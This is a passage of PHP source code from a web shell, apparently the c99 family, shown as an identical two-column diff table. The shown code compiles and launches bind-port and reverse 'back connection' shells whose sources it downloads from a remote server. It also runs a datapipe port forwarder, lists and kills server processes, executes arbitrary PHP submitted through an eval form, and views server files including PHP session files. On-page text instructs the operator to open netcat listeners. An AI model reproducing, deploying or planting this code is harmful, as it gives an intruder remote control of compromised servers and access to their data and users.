| 2206 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} | 2206 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} |
| 2207 | $v[1] = str_replace("%path",$binpath,$v[1]); | 2207 | $v[1] = str_replace("%path",$binpath,$v[1]); |
| 2208 | $v[1] = str_replace("%host",$bc["host"],$v[1]); | 2208 | $v[1] = str_replace("%host",$bc["host"],$v[1]); |
| 2209 | $v[1] = str_replace("%port",$bc["port"],$v[1]); | 2209 | $v[1] = str_replace("%port",$bc["port"],$v[1]); |
| 2210 | $v[1] = str_replace("//","/",$v[1]); | 2210 | $v[1] = str_replace("//","/",$v[1]); |
| 2211 | $retbind = myshellexec($v[1]." > /dev/null &"); | 2211 | $retbind = myshellexec($v[1]." > /dev/null &"); |
| 2212 | echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; | 2212 | echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; |
| 2213 | } | 2213 | } |
| 2214 | } | 2214 | } |
| 2215 | } | 2215 | } |
| 2216 | if (!empty($dpsubmit)) | 2216 | if (!empty($dpsubmit)) |
| 2217 | { | 2217 | { |
| 2218 | echo "<b>Result of datapipe-running:</b><br>"; | 2218 | echo "<b>Result of datapipe-running:</b><br>"; |
| 2219 | $v = $dpsrcs[$datapipe["src"]]; | 2219 | $v = $dpsrcs[$datapipe["src"]]; |
| 2220 | if (empty($v)) {echo "Unknown file!<br>";} | 2220 | if (empty($v)) {echo "Unknown file!<br>";} |
| 2221 | elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} | 2221 | elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} |
| 2222 | else | 2222 | else |
| 2223 | { | 2223 | { |
| 2224 | $srcpath = $tmpdir.$datapipe["src"]; | 2224 | $srcpath = $tmpdir.$datapipe["src"]; |
| 2225 | $w = explode(".",$datapipe["src"]); | 2225 | $w = explode(".",$datapipe["src"]); |
| 2226 | $ext = $w[count($w)-1]; | 2226 | $ext = $w[count($w)-1]; |
| 2227 | unset($w[count($w)-1]); | 2227 | unset($w[count($w)-1]); |
| 2228 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; | 2228 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; |
| 2229 | $binpath = $tmpdir.join(".",$w).rand(0,999); | 2229 | $binpath = $tmpdir.join(".",$w).rand(0,999); |
| 2230 | if ($ext == "pl") {$binpath = $srcpath;} | 2230 | if ($ext == "pl") {$binpath = $srcpath;} |
| 2231 | @unlink($srcpath); | 2231 | @unlink($srcpath); |
| 2232 | $fp = fopen($srcpath,"ab+"); | 2232 | $fp = fopen($srcpath,"ab+"); |
| 2233 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} | 2233 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} |
| 2234 | elseif (!$data = c999getsource($datapipe["src"])) {echo "Can't download sources!";} | 2234 | elseif (!$data = c999getsource($datapipe["src"])) {echo "Can't download sources!";} |
| 2235 | else | 2235 | else |
| 2236 | { | 2236 | { |
| 2237 | fwrite($fp,$data,strlen($data)); | 2237 | fwrite($fp,$data,strlen($data)); |
| 2238 | fclose($fp); | 2238 | fclose($fp); |
| 2239 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} | 2239 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} |
| 2240 | list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); | 2240 | list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); |
| 2241 | $v[1] = str_replace("%path",$binpath,$v[1]); | 2241 | $v[1] = str_replace("%path",$binpath,$v[1]); |
| 2242 | $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); | 2242 | $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); |
| 2243 | $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); | 2243 | $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); |
| 2244 | $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); | 2244 | $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); |
| 2245 | $v[1] = str_replace("//","/",$v[1]); | 2245 | $v[1] = str_replace("//","/",$v[1]); |
| 2246 | $retbind = myshellexec($v[1]." > /dev/null &"); | 2246 | $retbind = myshellexec($v[1]." > /dev/null &"); |
| 2247 | sleep(5); | 2247 | sleep(5); |
| 2248 | $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); | 2248 | $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); |
| 2249 | if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} | 2249 | if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} |
| 2250 | else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} | 2250 | else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} |
| 2251 | } | 2251 | } |
| 2252 | echo "<br>"; | 2252 | echo "<br>"; |
| 2253 | } | 2253 | } |
| 2254 | } | 2254 | } |
| 2255 | ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>"> Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>"> <select name="bind[src]"><?php | 2255 | ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>"> Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>"> <select name="bind[src]"><?php |
| 2256 | foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} | 2256 | foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} |
| 2257 | ?></select> <input type=submit name=bindsubmit value="Bind"></form> | 2257 | ?></select> <input type=submit name=bindsubmit value="Bind"></form> |
| 2258 | <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>"> Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>"> <select name="bc[src]"><?php | 2258 | <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>"> Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>"> <select name="bc[src]"><?php |
| 2259 | foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} | 2259 | foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} |
| 2260 | ?></select> <input type=submit name=bcsubmit value="Connect"></form> | 2260 | ?></select> <input type=submit name=bcsubmit value="Connect"></form> |
| 2261 | Click "Connect" only after open port for it. You should use NetCat©, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> | 2261 | Click "Connect" only after open port for it. You should use NetCat©, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> |
| 2262 | <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>"> Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>"> <select name="datapipe[src]"><?php | 2262 | <b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>"> Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>"> <select name="datapipe[src]"><?php |
| 2263 | foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} | 2263 | foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} |
| 2264 | ?></select> <input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php | 2264 | ?></select> <input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php |
| 2265 | } | 2265 | } |
| 2266 | if ($act == "processes") | 2266 | if ($act == "processes") |
| 2267 | { | 2267 | { |
| 2268 | echo "<b>Processes:</b><br>"; | 2268 | echo "<b>Processes:</b><br>"; |
| 2269 | if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} | 2269 | if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} |
| 2270 | else {$handler = "tasklist";} | 2270 | else {$handler = "tasklist";} |
| 2271 | $ret = myshellexec($handler); | 2271 | $ret = myshellexec($handler); |
| 2272 | if (!$ret) {echo "Can't execute \"".$handler."\"!";} | 2272 | if (!$ret) {echo "Can't execute \"".$handler."\"!";} |
| 2273 | else | 2273 | else |
| 2274 | { | 2274 | { |
| 2275 | if (empty($processes_sort)) {$processes_sort = $sort_default;} | 2275 | if (empty($processes_sort)) {$processes_sort = $sort_default;} |
| 2276 | $parsesort = parsesort($processes_sort); | 2276 | $parsesort = parsesort($processes_sort); |
| 2277 | if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} | 2277 | if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} |
| 2278 | $k = $parsesort[0]; | 2278 | $k = $parsesort[0]; |
| 2279 | if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} | 2279 | if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} |
| 2280 | else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} | 2280 | else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} |
| 2281 | $ret = htmlspecialchars($ret); | 2281 | $ret = htmlspecialchars($ret); |
| 2282 | if (!$win) | 2282 | if (!$win) |
| 2283 | { | 2283 | { |
| 2284 | if ($pid) | 2284 | if ($pid) |
| 2285 | { | 2285 | { |
| 2286 | if (is_null($sig)) {$sig = 9;} | 2286 | if (is_null($sig)) {$sig = 9;} |
| 2287 | echo "Sending signal ".$sig." to #".$pid."... "; | 2287 | echo "Sending signal ".$sig." to #".$pid."... "; |
| 2288 | if (posix_kill($pid,$sig)) {echo "OK.";} | 2288 | if (posix_kill($pid,$sig)) {echo "OK.";} |
| 2289 | else {echo "ERROR.";} | 2289 | else {echo "ERROR.";} |
| 2290 | } | 2290 | } |
| 2291 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} | 2291 | while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} |
| 2292 | $stack = explode("\n",$ret); | 2292 | $stack = explode("\n",$ret); |
| 2293 | $head = explode(" ",$stack[0]); | 2293 | $head = explode(" ",$stack[0]); |
| 2294 | unset($stack[0]); | 2294 | unset($stack[0]); |
| 2295 | for($i=0;$i<count($head);$i++) | 2295 | for($i=0;$i<count($head);$i++) |
| 2296 | { | 2296 | { |
| 2297 | if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} | 2297 | if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} |
| 2298 | } | 2298 | } |
| 2299 | $prcs = array(); | 2299 | $prcs = array(); |
| 2300 | foreach ($stack as $line) | 2300 | foreach ($stack as $line) |
| 2301 | { | 2301 | { |
| 2302 | if (!empty($line)) | 2302 | if (!empty($line)) |
| 2303 | { | 2303 | { |
| 2304 | echo "<tr>"; | 2304 | echo "<tr>"; |
| 2305 | $line = explode(" ",$line); | 2305 | $line = explode(" ",$line); |
| 2306 | $line[10] = join(" ",array_slice($line,10)); | 2306 | $line[10] = join(" ",array_slice($line,10)); |
| 2307 | $line = array_slice($line,0,11); | 2307 | $line = array_slice($line,0,11); |
| 2308 | if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} | 2308 | if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} |
| 2309 | $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; | 2309 | $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; |
| 2310 | $prcs[] = $line; | 2310 | $prcs[] = $line; |
| 2311 | echo "</tr>"; | 2311 | echo "</tr>"; |
| 2312 | } | 2312 | } |
| 2313 | } | 2313 | } |
| 2314 | } | 2314 | } |
| 2315 | else | 2315 | else |
| 2316 | { | 2316 | { |
| 2317 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 2317 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 2318 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 2318 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 2319 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 2319 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 2320 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 2320 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 2321 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 2321 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 2322 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 2322 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 2323 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 2323 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 2324 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 2324 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 2325 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 2325 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 2326 | while (ereg("",$ret)) {$ret = str_replace("","",$ret);} | 2326 | while (ereg("",$ret)) {$ret = str_replace("","",$ret);} |
| 2327 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} | 2327 | while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} |
| 2328 | $ret = convert_cyr_string($ret,"d","w"); | 2328 | $ret = convert_cyr_string($ret,"d","w"); |
| 2329 | $stack = explode("\n",$ret); | 2329 | $stack = explode("\n",$ret); |
| 2330 | unset($stack[0],$stack[2]); | 2330 | unset($stack[0],$stack[2]); |
| 2331 | $stack = array_values($stack); | 2331 | $stack = array_values($stack); |
| 2332 | $head = explode("",$stack[0]); | 2332 | $head = explode("",$stack[0]); |
| 2333 | $head[1] = explode(" ",$head[1]); | 2333 | $head[1] = explode(" ",$head[1]); |
| 2334 | $head[1] = $head[1][0]; | 2334 | $head[1] = $head[1][0]; |
| 2335 | $stack = array_slice($stack,1); | 2335 | $stack = array_slice($stack,1); |
| 2336 | unset($head[2]); | 2336 | unset($head[2]); |
| 2337 | $head = array_values($head); | 2337 | $head = array_values($head); |
| 2338 | if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} | 2338 | if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} |
| 2339 | else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} | 2339 | else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} |
| 2340 | if ($k > count($head)) {$k = count($head)-1;} | 2340 | if ($k > count($head)) {$k = count($head)-1;} |
| 2341 | for($i=0;$i<count($head);$i++) | 2341 | for($i=0;$i<count($head);$i++) |
| 2342 | { | 2342 | { |
| 2343 | if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} | 2343 | if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} |
| 2344 | } | 2344 | } |
| 2345 | $prcs = array(); | 2345 | $prcs = array(); |
| 2346 | foreach ($stack as $line) | 2346 | foreach ($stack as $line) |
| 2347 | { | 2347 | { |
| 2348 | if (!empty($line)) | 2348 | if (!empty($line)) |
| 2349 | { | 2349 | { |
| 2350 | echo "<tr>"; | 2350 | echo "<tr>"; |
| 2351 | $line = explode("",$line); | 2351 | $line = explode("",$line); |
| 2352 | $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); | 2352 | $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); |
| 2353 | $line[2] = intval(str_replace(" ","",$line[2]))*1024; | 2353 | $line[2] = intval(str_replace(" ","",$line[2]))*1024; |
| 2354 | $prcs[] = $line; | 2354 | $prcs[] = $line; |
| 2355 | echo "</tr>"; | 2355 | echo "</tr>"; |
| 2356 | } | 2356 | } |
| 2357 | } | 2357 | } |
| 2358 | } | 2358 | } |
| 2359 | $head[$k] = "<b>".$head[$k]."</b>".$y; | 2359 | $head[$k] = "<b>".$head[$k]."</b>".$y; |
| 2360 | $v = $processes_sort[0]; | 2360 | $v = $processes_sort[0]; |
| 2361 | usort($prcs,"tabsort"); | 2361 | usort($prcs,"tabsort"); |
| 2362 | if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} | 2362 | if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} |
| 2363 | $tab = array(); | 2363 | $tab = array(); |
| 2364 | $tab[] = $head; | 2364 | $tab[] = $head; |
| 2365 | $tab = array_merge($tab,$prcs); | 2365 | $tab = array_merge($tab,$prcs); |
| 2366 | echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; | 2366 | echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; |
| 2367 | foreach($tab as $i=>$k) | 2367 | foreach($tab as $i=>$k) |
| 2368 | { | 2368 | { |
| 2369 | echo "<tr>"; | 2369 | echo "<tr>"; |
| 2370 | foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} | 2370 | foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} |
| 2371 | echo "</tr>"; | 2371 | echo "</tr>"; |
| 2372 | } | 2372 | } |
| 2373 | echo "</table>"; | 2373 | echo "</table>"; |
| 2374 | } | 2374 | } |
| 2375 | } | 2375 | } |
| 2376 | if ($act == "eval") | 2376 | if ($act == "eval") |
| 2377 | { | 2377 | { |
| 2378 | if (!empty($eval)) | 2378 | if (!empty($eval)) |
| 2379 | { | 2379 | { |
| 2380 | echo "<b>Result of execution this PHP-code</b>:<br>"; | 2380 | echo "<b>Result of execution this PHP-code</b>:<br>"; |
| 2381 | $tmp = ob_get_contents(); | 2381 | $tmp = ob_get_contents(); |
| 2382 | $olddir = realpath("."); | 2382 | $olddir = realpath("."); |
| 2383 | @chdir($d); | 2383 | @chdir($d); |
| 2384 | if ($tmp) | 2384 | if ($tmp) |
| 2385 | { | 2385 | { |
| 2386 | ob_clean(); | 2386 | ob_clean(); |
| 2387 | eval($eval); | 2387 | eval($eval); |
| 2388 | $ret = ob_get_contents(); | 2388 | $ret = ob_get_contents(); |
| 2389 | $ret = convert_cyr_string($ret,"d","w"); | 2389 | $ret = convert_cyr_string($ret,"d","w"); |
| 2390 | ob_clean(); | 2390 | ob_clean(); |
| 2391 | echo $tmp; | 2391 | echo $tmp; |
| 2392 | if ($eval_txt) | 2392 | if ($eval_txt) |
| 2393 | { | 2393 | { |
| 2394 | $rows = count(explode("\r\n",$ret))+1; | 2394 | $rows = count(explode("\r\n",$ret))+1; |
| 2395 | if ($rows < 10) {$rows = 10;} | 2395 | if ($rows < 10) {$rows = 10;} |
| 2396 | echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; | 2396 | echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; |
| 2397 | } | 2397 | } |
| 2398 | else {echo $ret."<br>";} | 2398 | else {echo $ret."<br>";} |
| 2399 | } | 2399 | } |
| 2400 | else | 2400 | else |
| 2401 | { | 2401 | { |
| 2402 | if ($eval_txt) | 2402 | if ($eval_txt) |
| 2403 | { | 2403 | { |
| 2404 | echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; | 2404 | echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; |
| 2405 | eval($eval); | 2405 | eval($eval); |
| 2406 | echo "</textarea>"; | 2406 | echo "</textarea>"; |
| 2407 | } | 2407 | } |
| 2408 | else {echo $ret;} | 2408 | else {echo $ret;} |
| 2409 | } | 2409 | } |
| 2410 | @chdir($olddir); | 2410 | @chdir($olddir); |
| 2411 | } | 2411 | } |
| 2412 | else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} | 2412 | else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} |
| 2413 | echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; | 2413 | echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; |
| 2414 | } | 2414 | } |
| 2415 | if ($act == "f") | 2415 | if ($act == "f") |
| 2416 | { | 2416 | { |
| 2417 | if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") | 2417 | if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") |
| 2418 | { | 2418 | { |
| 2419 | if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} | 2419 | if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} |
| 2420 | else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} | 2420 | else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} |
| 2421 | } | 2421 | } |
| 2422 | else | 2422 | else |
| 2423 | { | 2423 | { |
| 2424 | $r = @file_get_contents($d.$f); | 2424 | $r = @file_get_contents($d.$f); |
| 2425 | $ext = explode(".",$f); | 2425 | $ext = explode(".",$f); |
| 2426 | $c = count($ext)-1; | 2426 | $c = count($ext)-1; |
| 2427 | $ext = $ext[$c]; | 2427 | $ext = $ext[$c]; |
| 2428 | $ext = strtolower($ext); | 2428 | $ext = strtolower($ext); |
| 2429 | $rft = ""; | 2429 | $rft = ""; |
| 2430 | foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} | 2430 | foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} |
| 2431 | if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} | 2431 | if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} |
| 2432 | if (empty($ft)) {$ft = $rft;} | 2432 | if (empty($ft)) {$ft = $rft;} |
| 2433 | $arr = array( | 2433 | $arr = array( |
| 2434 | array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), | 2434 | array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), |
| 2435 | array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), | 2435 | array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), |
| 2436 | array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), | 2436 | array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), |
| 2437 | array("Code","code"), | 2437 | array("Code","code"), |
| 2438 | array("Session","phpsess"), | 2438 | array("Session","phpsess"), |
| 2439 | array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), | 2439 | array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), |
| 2440 | array("SDB","sdb"), | 2440 | array("SDB","sdb"), |
| 2441 | array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), | 2441 | array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), |
| 2442 | array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), | 2442 | array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), |
| 2443 | array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), | 2443 | array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), |
| 2444 | array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), | 2444 | array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), |
| 2445 | array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") | 2445 | array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") |
| 2446 | ); | 2446 | ); |
| 2447 | echo "<b>Viewing file: <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; | 2447 | echo "<b>Viewing file: <img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; |
| 2448 | foreach($arr as $t) | 2448 | foreach($arr as $t) |
| 2449 | { | 2449 | { |
